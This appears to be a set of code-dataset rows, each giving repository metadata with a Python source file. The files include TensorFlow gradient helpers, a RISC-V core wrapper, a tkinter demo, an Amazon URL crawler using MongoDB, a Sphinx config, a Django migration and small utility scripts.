"""Computes the gradient of the wrapped function."""
tape.push_new_tape()
end_node = f(*args)
variables = tape.top_tape_watched_variables()
sources = [x.handle for x in variables]
grad = imperative_grad(end_node, sources)
return end_node, list(zip(grad, variables))
return grad_fn
def implicit_grad(f):
"""Returns a function which differentiates f with respect to variables.
The wrapped function returns the gradient of f when called with the same
arguments. The gradient is with respect to all TFE variables which have
`variable.watch()` called on them by f.
This function is useful when the exact set of variables to differentiate with
is not known ahead of time.
Example:
```python
dense_layer = tf.layers.Dense(1)
def loss(x, y):
return tf.reduce_sum(tf.square(dense_layer(x) - y))
# Obtain the gradient function.
grad_fn = tfe.implicit_gradients(loss)
# Invoke the gradient function with concrete values of x and y.
x = tf.constant([[1.0, 2.0, 3.0], [4.0, 5.0, 6.0]])
y = tf.constant([[10.0], [20.0]])
grads_and_vars = grad_fn(x, y)
# Apply the gradients to Variables.
optimizer = tf.train.GradientDescentOptimizer(0.1)
optimizer.apply_gradients(grads_and_vars)
```
Args:
f: The function to be differentiated.
Returns:
A function which, when called, returns a list of (gradient, variable) pairs.
"""
# TODO(cais): Remove calls to tf.constant() once the gradients functions
# accept lists and np.ndarrays.
def grad_fn(*args, **kwds):
"""Computes the gradient of the wrapped function."""
return implicit_val_and_grad(f)(*args, **kwds)[1]
return grad_fn
def _get_arg_spec(f, params):
args = tf_inspect.getargspec(f).args
if params is None:
if not args:
raise ValueError("When params is None the differentiated function cannot"
" only take arguments by *args and **kwds.")
return range(len(args))
elif all(isinstance(x, six.string_types) for x in params):
return [args.index(n) for n in params]
elif all(isinstance(x, int) for x in params):
return params
else:
raise ValueError(
"params must be all strings or all integers; got %s." % params)
def gradients_function(f, params=None):
"""Returns a function which differentiates f with respect to params.
Example:
```python
# f(x, y) = (x ^ 3) * y - x * (y ^ 2)
# Therefore, the 1st order derivatives are:
# df / dx = 3 * (x ^ 2) * y - y ^ 2
# df / dy = x ^ 3 - 2 * x * y
# The 2nd order derivatives with respect to x is:
# d^2 f / (dx)^2 = 6 * x * y
def f(x, y):
return x * x * x * y - x * y * y
# Obtain a function that returns 1st order gradients.
grad_fn = tfe.gradients_function(f)
x = 2.0
y = 3.0
# Invoke the 1st order gradient function.
x_grad, y_grad = grad_fn(x, y)
assert x_grad.numpy() == 3 * (2 ** 2) * 3 - 3 ** 2
assert y_grad.numpy() == (2 ** 3) - 2 * 2 * 3
# Obtain a function that returns the 2nd order gradient with respect to x.
gradgrad_fn = tfe.gradients_function(lambda x, y: grad_fn(x, y)[0])
# Invoke the 2nd order gradient function.
x_gradgrad = gradgrad_fn(x, y)[0]
assert x_gradgrad.numpy() == 6 * 2 * 3
# To obtain a callable that returns the gradient(s) of `f` with respect to a
# subset of its inputs, use the `params` keyword argument with
# `gradients_function()`.
ygrad_fn = tfe.gradients_function(f, params=[1])
grads = ygrad_fn(x, y)
assert grads[0].numpy() == (2 ** 3) - 2 * 2 * 3
```
Args:
f: function to be differentiated.
params: list of parameter names of f or list of integers indexing the
parameters with respect to which we'll differentiate. Passing None
differentiates with respect to all parameters.
Returns:
function which, when called, returns the value of f and the gradient
of f with respect to all of `params`. The function takes an extra optional
keyword argument "dy". Setting it allows computation of vector jacobian
products for vectors other than the vector of ones.
Raises:
ValueError: if the params are not all strings or all integers.
"""
def decorated(*args, **kwds):
"""Computes the gradient of the decorated function."""
_, grad = val_and_grad_function(f, params=params)(*args, **kwds)
return grad
return decorated
def val_and_grad_function(f, params=None):
"""Returns a function that computes f and is derivative w.r.t. params.
Example:
```python
# f(x, y) = (x ^ 3) * y - x * (y ^ 2)
# Therefore, the 1st order derivatives are:
# df / dx = 3 * (x ^ 2) * y - y ^ 2
# df / dy = x ^ 3 - 2 * x * y
def f(x, y):
return x * x * x * y - x * y * y
# Obtain a function that returns the function value and the 1st order
# gradients.
val_grads_fn = tfe.value_and_gradients_function(f)
x = 2.0
y = 3.0
# Invoke the value-and-gradients function.
f_val, (x_grad, y_grad) = val_grads_fn(x, y)
assert f_val.numpy() == (2 ** 3) * 3 - 2 * (3 ** 2)
assert x_grad.numpy() == 3 * (2 ** 2) * 3 - 3 ** 2
assert y_grad.numpy() == (2 ** 3) - 2 * 2 * 3
# To obtain a callable that returns the value of `f` and the gradient(s) of
# `f` with respect to a subset of its inputs, use the `params` keyword
# argument with `value_and_gradients_function()`.
val_ygrad_fn = tfe.value_and_gradients_function(f, params=[1])
f_val, grads = val_ygrad_fn(x, y)
assert f_val.numpy() == (2 ** 3) * 3 - 2 * (3 ** 2)
assert grads[0].numpy() == (2 ** 3) - 2 * 2 * 3
```
Args:
f: function to be differentiated.
params: list of parameter names of f or list of integers indexing the
parameters with respect to which we'll differentiate. Passing `None`
differentiates with respect to all parameters.
Returns: function which, when called, returns the value of f and the gradient
of f with respect to all of `params`. The function takes an extra optional
keyword argument "dy". Setting it allows computation of vector jacobian
products for vectors other than the vector of ones.
Raises:
ValueError: if the params are not all strings or all integers.
"""
parameter_positions = _get_arg_spec(f, params)
def decorated(*args, **kwds):
"""Computes the value and gradient of the decorated function."""
dy = kwds.pop("dy", None)
if dy is not None:
dy = ops.convert_to_tensor(dy)
assert not kwds, "The gradient function can't take keyword arguments."
tape.push_new_tape()
sources = []
args = [
ops.convert_to_tensor(args[i]) if i in parameter_positions else args[i]
for i in range(len(args))
]
for i in parameter_positions:
sources.append(args[i])
tape.watch(args[i])
result = f(*args)
return result, imperative_grad(
result,
sources,
output_gradients=dy)
return decorated
| [
"[email protected]"
] | |
032a2fb7a4854f6e6761f3e0df0d2ae69186634d | b627da650f75bdcf7e0dc0ef5c4419cf53a1d690 | /src/zqh_core_common/zqh_core_common_wrapper_main.py | b481c38b1f21b225f1271790ddc02b7f95e55678 | [] | no_license | Jusan-zyh/zqh_riscv | 4aa8a4c51e19fb786ba0c2a120722f1382994a52 | bccde2f81b42ac258b92c21bb450ec6ff848387a | refs/heads/main | 2023-08-06T12:56:52.420302 | 2021-09-21T01:25:41 | 2021-09-21T01:25:41 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,130 | py | import sys
import os
from phgl_imp import *
from .zqh_core_common_wrapper_parameters import zqh_core_common_wrapper_parameter
from .zqh_core_common_interrupts_bundles import zqh_core_common_interrupts
from .zqh_core_common_wrapper_bundles import zqh_core_common_wrapper_driven_constants
from zqh_common.zqh_transfer_size import zqh_transfer_size
from .zqh_core_common_ifu_main import zqh_core_common_ifu
from zqh_fpu.zqh_fpu_stub import zqh_fpu_stub
from zqh_rocc.zqh_rocc_stub import zqh_rocc_stub
from .zqh_core_common_ifu_bundles import zqh_core_common_ifu_slave_io
from zqh_tilelink.zqh_tilelink_node_parameters import zqh_tilelink_node_master_parameter
from zqh_tilelink.zqh_tilelink_node_parameters import zqh_tilelink_node_master_io_parameter
from zqh_tilelink.zqh_tilelink_node_parameters import zqh_tilelink_node_slave_parameter
from zqh_tilelink.zqh_tilelink_node_parameters import zqh_tilelink_node_slave_io_parameter
from zqh_tilelink.zqh_tilelink_node_parameters import zqh_tilelink_node_xbar_parameter
from zqh_tilelink.zqh_tilelink_node_module_main import zqh_tilelink_node_module
from zqh_common.zqh_address_space import zqh_address_space
from zqh_common.zqh_address_space import zqh_address_attr
from zqh_common.zqh_address_space import zqh_order_type
from zqh_tilelink.zqh_tilelink_dw_fix_main import zqh_tilelink_burst_split_fix
class zqh_core_common_wrapper(zqh_tilelink_node_module):
def set_par(self):
super(zqh_core_common_wrapper, self).set_par()
self.p = zqh_core_common_wrapper_parameter()
def gen_node_tree(self):
super(zqh_core_common_wrapper, self).gen_node_tree()
self.p.par('lsu_master', zqh_tilelink_node_master_parameter('lsu_master'))
self.p.par('ifu_master', zqh_tilelink_node_master_parameter('ifu_master'))
#itim and dtim's internal access by core
self.p.par(
'core_inner_slave',
zqh_tilelink_node_slave_parameter(
'core_inner_slave',
is_pos = 1,
address = [
zqh_address_space(
base = 0x60000000,
mask = 0x003fffff,
attr = zqh_address_attr.MEM_RWAX_C_S,
order_type = zqh_order_type.RO)],
transfer_sizes = zqh_transfer_size(min = 0,max = 64),
address_mask = 0x003fffff,
process = [[zqh_tilelink_burst_split_fix, None]]))
self.p.par(
'out_extern_master',
zqh_tilelink_node_slave_io_parameter('out_extern_master'))
self.p.par('out_bus', zqh_tilelink_node_xbar_parameter('out_bus',
buffer_in = self.p.buf_params if (self.p.out_bus_has_buffer) else None,
do_imp = 1))
self.p.out_bus.push_up(self.p.lsu_master)
self.p.out_bus.push_up(self.p.ifu_master)
self.p.out_bus.push_down(self.p.out_extern_master)
self.p.out_bus.push_down(self.p.core_inner_slave)
if (len(self.p.extern_masters) > 0):
self.p.out_extern_master.push_down(self.p.extern_masters[0])
self.p.par(
'in_extern_slave',
zqh_tilelink_node_master_io_parameter(
'in_extern_slave',
address_mask = 0x003fffff))
self.p.par(
'ifu_slave',
zqh_tilelink_node_slave_parameter(
'ifu_slave',
is_pos = 1,
address = [
zqh_address_space(
base = 0x00000000,
mask = 0x001fffff,
attr = zqh_address_attr.MEM_RWAX_UC,
order_type = zqh_order_type.SO)],
transfer_sizes = zqh_transfer_size(min = 0,max = 8)))
self.p.par(
'lsu_slave',
zqh_tilelink_node_slave_parameter(
'lsu_slave',
address = [
zqh_address_space(
base = 0x00200000,
mask = 0x001fffff,
attr = zqh_address_attr.MEM_RWAX_UC,
order_type = zqh_order_type.SO)],
transfer_sizes = zqh_transfer_size(min = 0,max = 8)))
if (len(self.p.extern_slaves) > 0):
self.p.in_extern_slave.push_up(self.p.extern_slaves[0])
self.p.par('in_bus', zqh_tilelink_node_xbar_parameter('in_bus', do_imp = 1))
self.p.in_bus.push_up(self.p.in_extern_slave)
self.p.in_bus.push_up(self.p.core_inner_slave)
self.p.in_bus.push_down(self.p.ifu_slave)
self.p.in_bus.push_down(self.p.lsu_slave)
def set_port(self):
super(zqh_core_common_wrapper, self).set_port()
self.io.var(zqh_core_common_interrupts('interrupts').as_input())
self.io.var(zqh_core_common_wrapper_driven_constants('constants'))
def main(self):
super(zqh_core_common_wrapper, self).main()
core = self.instance_core()
ifu = self.instance_ifu()
lsu = self.instance_lsu()
fpu = self.instance_fpu() if (core.p.isa_f) else zqh_fpu_stub('fpu')
rocc = self.instance_rocc() if (core.p.isa_custom) else zqh_rocc_stub('rocc')
ifu.io.cpu /= core.io.ifu
ifu.io.reset_pc /= self.io.constants.reset_pc
core.io.interrupts /= async_dff(self.io.interrupts, self.p.int_sync_delay)
core.io.interrupts.debug /= async_dff(
self.io.interrupts.debug,
self.p.int_sync_delay)
core.io.hartid /= self.io.constants.hartid
core.io.reset_pc /= self.io.constants.reset_pc
lsu.io.cpu /= core.io.lsu
fpu.io.cp_req /= 0
fpu.io.cp_resp.ready /= 0
fpu.io /= core.io.fpu
rocc.io /= core.io.rocc
def instance_core(self):
pass
def instance_ifu(self):
return zqh_core_common_ifu('ifu',
extern_masters = [self.p.ifu_master],
extern_slaves = [self.p.ifu_slave])
def instance_lsu(self):
pass
def instance_fpu(self):
pass
def instance_rocc(self):
pass
| [
"[email protected]"
] | |
950bc09256b4ca649c9e26ad42137ffece622657 | 44f95e5df3ec15afacd1c35b1aba70764d1a453d | /Stock/Select/Ui/Basic/__init__.py | aed7e559eb66e05db33511388b818c33653d8c67 | [
"MIT"
] | permissive | zsl3034669/DevilYuan | 7e8965e4e4ebcf85df7ded1c0fba06487ad5f416 | 865c1650d3affdccd6926c6527d8c0271774bcc7 | refs/heads/master | 2020-04-12T02:02:23.457179 | 2018-12-16T09:26:03 | 2018-12-16T09:26:03 | 162,236,146 | 0 | 1 | MIT | 2018-12-18T05:43:32 | 2018-12-18T05:43:32 | null | UTF-8 | Python | false | false | 344 | py | import os
from Stock import DynamicLoadStrategyFields
# dynamically load strategies from Stock/Select/Strategy
__pathList = os.path.dirname(__file__).split(os.path.sep)
__stratgyPath = os.path.sep.join(__pathList[:-2] + ['Strategy'])
DyStockSelectStrategyWidgetAutoFields = DynamicLoadStrategyFields(__stratgyPath, 'Stock.Select.Strategy')
| [
"[email protected]"
] | |
755f30982641e346662accc54a3835916cc17054 | 5c2d3e808a354b4dd59cbad51f6fc4ef877a7d6b | /GUI/config-label.py | 84325928bf3becafdc54461b8409d9491db3708f | [] | no_license | itaditya/fun_with_python | 5e166b0f3d6805b53ddb2f291a18fa304894eeca | d9ea23784258184bff8215594cebb93168b47800 | refs/heads/master | 2021-07-09T18:54:23.964425 | 2017-09-30T19:26:33 | 2017-09-30T19:26:33 | 106,717,541 | 0 | 0 | null | 2017-10-12T16:23:44 | 2017-10-12T16:23:44 | null | UTF-8 | Python | false | false | 277 | py | from tkinter import *
root = Tk()
labelfont = ('times', 20, 'bold')
widget = Label(root, text='Hello Config World')
widget.config(bg='black', fg='yellow')
widget.config(font=labelfont)
widget.config(height=3, width=20)
widget.pack(expand=YES, fill=BOTH)
root.mainloop() | [
"[email protected]"
] | |
42a0eba8ac8d1f312f4125297e83edde3007972c | 6147ed911274012be64eb02d88bff299808cab86 | /初始化.py | bd1f96c59ae1bacfef8b0e4e7e6e865e0b83e9ba | [] | no_license | persontianshuang/toasin | 6dec061afc5964118dac83d5060bb13d957a2a3b | 62896fac5224301a32c096841d4b17ac53d9abe0 | refs/heads/master | 2021-07-02T22:14:47.836627 | 2017-09-25T03:07:59 | 2017-09-25T03:07:59 | 103,622,098 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,600 | py | from goods_url import get_url_page_list
import pymongo
import settings
from bson.objectid import ObjectId
MONGO_URI = '108.61.203.110'
def pymg(highest,collections,port=MONGO_URI):
client = pymongo.MongoClient(port, 29999)
zhihu = client[highest]
collections = zhihu[collections]
return collections
def path_url():
path = "/Users/user/Downloads/url.txt"
with open(path,'r') as f:
fr = f.readlines()
# [print(x.strip()) for x in fr]
return [x.strip() for x in fr if x.strip()!='']
name = settings.NAME
urls = path_url()
amazon_results_url = pymg('amazon_results_url',name)
first_urls = pymg('first_urls',name)
if len(list(first_urls.find({},{'_id':0})))==0:
first_urls_lists = [{'url':x,'status':0} for x in urls]
first_urls.insert_many(first_urls_lists)
def down_one(data):
x = data['url']
to_url_lists = get_url_page_list(x)
url_lists = [{'type':'results_url','urls':x,'status':0} for x in to_url_lists]
amazon_results_url.insert_many(url_lists)
first_urls.update({'_id':ObjectId(data['_id'])},{'$set':{'status':1}})
from concurrent import futures
MAX_WORKER = 20
def download_many(cc_list):
print('download_many')
print(len(cc_list))
workers = min(MAX_WORKER,len(cc_list))
with futures.ThreadPoolExecutor(workers) as executor:
executor.map(down_one,cc_list)
def kk(data):
data['_id'] = str(data['_id'])
return data
d_urls = [kk(x) for x in list(first_urls.find({'status':0}))]
download_many(d_urls)
# 队列
#
# 客户端
# workflow
# 一样的url 读取 设置 返回id
| [
"[email protected]"
] | |
b93acdccf694fa0412cdcf42545aba82cfd12e2d | 5a281cb78335e06c631181720546f6876005d4e5 | /blazar-3.0.0/api-ref/source/conf.py | c43a8e3a357451b498583d633bea74875af98c3a | [
"Apache-2.0"
] | permissive | scottwedge/OpenStack-Stein | d25b2a5bb54a714fc23f0ff0c11fb1fdacad85e8 | 7077d1f602031dace92916f14e36b124f474de15 | refs/heads/master | 2021-03-22T16:07:19.561504 | 2020-03-15T01:31:10 | 2020-03-15T01:31:10 | 247,380,811 | 0 | 0 | Apache-2.0 | 2020-03-15T01:24:15 | 2020-03-15T01:24:15 | null | UTF-8 | Python | false | false | 4,358 | py | # Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
# implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# Blazar API reference build configuration file, created by
# sphinx-quickstart on Mon Oct 2 14:47:19 2017.
#
# This file is execfile()d with the current directory set to its
# containing dir.
#
# Note that not all possible configuration values are present in this
# autogenerated file.
#
# All configuration values have a default; values that are commented out
# serve to show the default.
# If extensions (or modules to document with autodoc) are in another directory,
# add these directories to sys.path here. If the directory is relative to the
# documentation root, use os.path.abspath to make it absolute, like shown here.
extensions = [
'os_api_ref',
'openstackdocstheme'
]
html_theme = 'openstackdocs'
html_theme_options = {
"sidebar_mode": "toc",
}
# openstackdocstheme options
repository_name = 'openstack/blazar'
bug_project = 'blazar'
bug_tag = 'api-ref'
# Must set this variable to include year, month, day, hours, and minutes.
html_last_updated_fmt = '%Y-%m-%d %H:%M'
# -- General configuration ------------------------------------------------
# Add any paths that contain templates here, relative to this directory.
templates_path = ['_templates']
# The suffix(es) of source filenames.
# You can specify multiple suffix as a list of string:
#
# source_suffix = ['.rst', '.md']
source_suffix = '.rst'
# The master toctree document.
master_doc = 'index'
# General information about the project.
project = u'Reservation API Reference'
copyright = u'2017-present, OpenStack Foundation'
author = u'OpenStack Foundation'
# The language for content autogenerated by Sphinx. Refer to documentation
# for a list of supported languages.
#
# This is also used if you do content translation via gettext catalogs.
# Usually you set "language" from the command line for these cases.
language = None
# List of patterns, relative to source directory, that match files and
# directories to ignore when looking for source files.
# This patterns also effect to html_static_path and html_extra_path
exclude_patterns = []
# The name of the Pygments (syntax highlighting) style to use.
pygments_style = 'sphinx'
# If true, `todo` and `todoList` produce output, else they produce nothing.
todo_include_todos = False
# -- Options for HTML output ----------------------------------------------
# The theme to use for HTML and HTML Help pages. See the documentation for
# a list of builtin themes.
#
# html_theme = 'alabaster'
# Theme options are theme-specific and customize the look and feel of a theme
# further. For a list of options available for each theme, see the
# documentation.
#
# html_theme_options = {}
# Add any paths that contain custom static files (such as style sheets) here,
# relative to this directory. They are copied after the builtin static files,
# so a file named "default.css" will overwrite the builtin "default.css".
# html_static_path = ['_static']
# -- Options for HTMLHelp output ------------------------------------------
# Output file base name for HTML help builder.
htmlhelp_basename = 'blazardoc'
# -- Options for LaTeX output ---------------------------------------------
latex_elements = {
# The paper size ('letterpaper' or 'a4paper').
#
# 'papersize': 'letterpaper',
# The font size ('10pt', '11pt' or '12pt').
#
# 'pointsize': '10pt',
# Additional stuff for the LaTeX preamble.
#
# 'preamble': '',
# Latex figure (float) alignment
#
# 'figure_align': 'htbp',
}
# Grouping the document tree into LaTeX files. List of tuples
# (source start file, target name, title,
# author, documentclass [howto, manual, or own class]).
latex_documents = [
(master_doc, 'ReservationAPIReference.tex', u'OpenStack Reservation API Reference Documentation',
u'OpenStack Foundation', 'manual'),
]
| [
"Wayne [email protected]"
] | Wayne [email protected] |
1a8d03601b116c5ef6e0c7e118bbdcf64d820b1a | 31bc3fdc7c2b62880f84e50893c8e3d0dfb66fa6 | /language/old/python_modules/python_packages/viewing.py | 5ff6a1d6cd4b0a4e542083160779a45b5320cf27 | [] | no_license | tpt5cu/python-tutorial | 6e25cf0b346b8182ebc8a921efb25db65f16c144 | 5998e86165a52889faf14133b5b0d7588d637be1 | refs/heads/master | 2022-11-28T16:58:51.648259 | 2020-07-23T02:20:37 | 2020-07-23T02:20:37 | 269,521,394 | 0 | 0 | null | 2020-06-05T03:23:51 | 2020-06-05T03:23:50 | null | UTF-8 | Python | false | false | 1,409 | py | # https://stackoverflow.com/questions/19048732/python-setup-py-develop-vs-install
"""
The package directory(s) for a given Python interpreter can be found by running "import site; site.getsitepackages()" in the Python repl.
- The packages for the Homebrew installed Python 2.7 are located in /usr/local/lib/python2.7/site-packages
- The packages for the Homebrew installed Python 3 are located in /usr/local/lib/python3.7/site-packages
The omf package does not exist in either site-packages directory.
When I installed all of the omf stuff, I ran a command $ python2 setup.py develop
This command creates a special link between /Users/austinchang/pycharm/omf and the site-packages directory.
This special link IS the omf.egg-link file located in the site-packages directory for the Homebrew Python 2.7.
This special link treats the chosen folder AS a Python package. The special link makes it so that any changes
I make to my source code are immediately reflected in the omf package so I don't have to recompile the package
over and over again to use it.
It makes sense that pip recognizes omf as a package because of the special link file. But why does pip3 ALSO
recognize the special link? For some reason, when I commented-out the PYTHON path setting in my .bash_profile file
(which pointed to both the omf source files and the python_tutorial source files), pip3 stopped listing omf as a package.
""" | [
"[email protected]"
] | |
490876621066be76bba945e5210660cfea261a0f | acc3bfb8d0cdfbb0c762523b9923382570928ed1 | /backend/home/migrations/0002_load_initial_data.py | 246cb0d84c8cd64d6f9c084d7abc08e6b7d1861f | [] | no_license | crowdbotics-apps/my-art-23726 | 30266909ff78876c3cf0c1636c76ba23afd930a2 | 50d905b644c425ab4562d0d3bf6b1ccbae5c715f | refs/heads/master | 2023-02-16T05:36:51.832504 | 2021-01-07T23:31:07 | 2021-01-07T23:31:07 | 327,746,125 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,278 | py | from django.db import migrations
def create_customtext(apps, schema_editor):
CustomText = apps.get_model("home", "CustomText")
customtext_title = "My Art"
CustomText.objects.create(title=customtext_title)
def create_homepage(apps, schema_editor):
HomePage = apps.get_model("home", "HomePage")
homepage_body = """
<h1 class="display-4 text-center">My Art</h1>
<p class="lead">
This is the sample application created and deployed from the Crowdbotics app.
You can view list of packages selected for this application below.
</p>"""
HomePage.objects.create(body=homepage_body)
def create_site(apps, schema_editor):
Site = apps.get_model("sites", "Site")
custom_domain = "my-art-23726.botics.co"
site_params = {
"name": "My Art",
}
if custom_domain:
site_params["domain"] = custom_domain
Site.objects.update_or_create(defaults=site_params, id=1)
class Migration(migrations.Migration):
dependencies = [
("home", "0001_initial"),
("sites", "0002_alter_domain_unique"),
]
operations = [
migrations.RunPython(create_customtext),
migrations.RunPython(create_homepage),
migrations.RunPython(create_site),
]
| [
"[email protected]"
] | |
7246a0afae1a5c34c0079d8003d9a7db1e2cf1fb | a9b31181ad6f695a2809018167a52a6d9847c0df | /Chap05-funcoes-frutiferas/calcula_distancia.py | 2cb5d81026a9883ad0c8fe37a508ad4b33a1480d | [] | no_license | frclasso/Aprendendo_computacao_com_Python | 21cdecdebcdbafad35a48d8425d06e4ec2ba1259 | 40276f396c90d25b301e15e855942a607efd895b | refs/heads/master | 2020-03-12T17:38:04.886153 | 2018-10-11T14:17:13 | 2018-10-11T14:17:13 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 344 | py | #!/usr/bin/env python3
import math
def distancia(x1, y1, x2, y2):
dx = x2 - x1
dy = y2 - y1
# print(f'dx vale {dx}') # variveis temporarias
# print(f'dy vale {dy}')
dquadrado = dx**2 + dy**2
#print(f'dquadrado vale {dquadrado}')
resultado = math.sqrt(dquadrado)
return resultado
#print(distancia(1,2,4,6)) | [
"[email protected]"
] | |
d428c476d1c551f1c31af99d093bd82d685cc301 | b4ca78134c296d8e03c39496bcc57369fd5f619b | /kubehub/vbox_api/vbox_functions/vbox_add_network_card.py | edd37f768155400ebc3714b5af1738bce351c1f8 | [] | no_license | dedicatted/kubehub-backend | 7f4b57033962f1ef8604a2cee0cf55bebd533ec9 | 3b944e462f5366b2dbad55063f325e4aa1b19b0e | refs/heads/master | 2023-02-05T04:44:50.213133 | 2020-06-10T15:02:03 | 2020-06-10T15:02:03 | 236,169,121 | 1 | 1 | null | 2023-01-24T23:19:38 | 2020-01-25T12:45:32 | Python | UTF-8 | Python | false | false | 311 | py | from os import system
def add_network_card(name, status):
vbox_add_network_card_cmd = f'VBoxManage ' \
f'modifyvm {name} ' \
f'--ioapic {status}'
vbox_add_network_card = system(vbox_add_network_card_cmd)
return vbox_add_network_card
| [
"[email protected]"
] | |
d720dd07de53b5a37525d7786c6e0a62bad54ac7 | 6e5ab77fee1fb4a0310213dd8c6dd8601828b1b9 | /Algorithm/Swea/D1_6216.py | 0350d0efc1341066ab31e71c958e366af757fba5 | [] | no_license | hongyong3/TIL | 36d031c0da9e3e6db3eebb977bd3e12df00a849f | 7f1492128e957a78fc95b255f4f7f2978161e471 | refs/heads/master | 2023-08-19T09:16:03.231757 | 2023-08-18T09:38:47 | 2023-08-18T09:38:47 | 162,100,258 | 1 | 0 | null | 2023-02-11T00:52:32 | 2018-12-17T08:42:42 | Jupyter Notebook | UTF-8 | Python | false | false | 123 | py | import sys
sys.stdin = open("D1_6216_input.txt", "r")
print("혼합된 소금물의 농도:", round(20 / 3, 2), end = "%") | [
"[email protected]"
] | |
7591c784b3bfe157d30268f0f4c827459b87451e | 2bb90b620f86d0d49f19f01593e1a4cc3c2e7ba8 | /pardus/playground/cihan/x11/terminal/tilda/actions.py | 6365c12bfaa653eb97e910517eb474fc4fc748e3 | [] | no_license | aligulle1/kuller | bda0d59ce8400aa3c7ba9c7e19589f27313492f7 | 7f98de19be27d7a517fe19a37c814748f7e18ba6 | refs/heads/master | 2021-01-20T02:22:09.451356 | 2013-07-23T17:57:58 | 2013-07-23T17:57:58 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 427 | py | #!/usr/bin/python
# -*- coding: utf-8 -*-
#
# Licensed under the GNU General Public License, version 2
# See the file http://www.gnu.org/copyleft/gpl.txt
from pisi.actionsapi import autotools
from pisi.actionsapi import pisitools
def setup():
autotools.configure("--with-x")
def build():
autotools.make()
def install():
autotools.install()
pisitools.dodoc("ChangeLog", "README", "TODO", "NEWS", "AUTHORS")
| [
"[email protected]"
] |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.